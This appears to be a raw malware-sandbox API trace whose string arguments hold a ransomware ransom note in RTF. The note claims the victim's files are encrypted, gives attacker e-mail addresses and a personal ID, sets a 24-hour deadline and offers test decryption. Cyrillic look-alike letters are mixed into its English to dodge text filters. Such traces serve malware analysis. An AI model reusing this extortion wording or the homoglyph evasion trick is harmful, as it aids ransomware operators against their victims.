n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n", cchWideChar=14086, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14086 [0041.894] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss 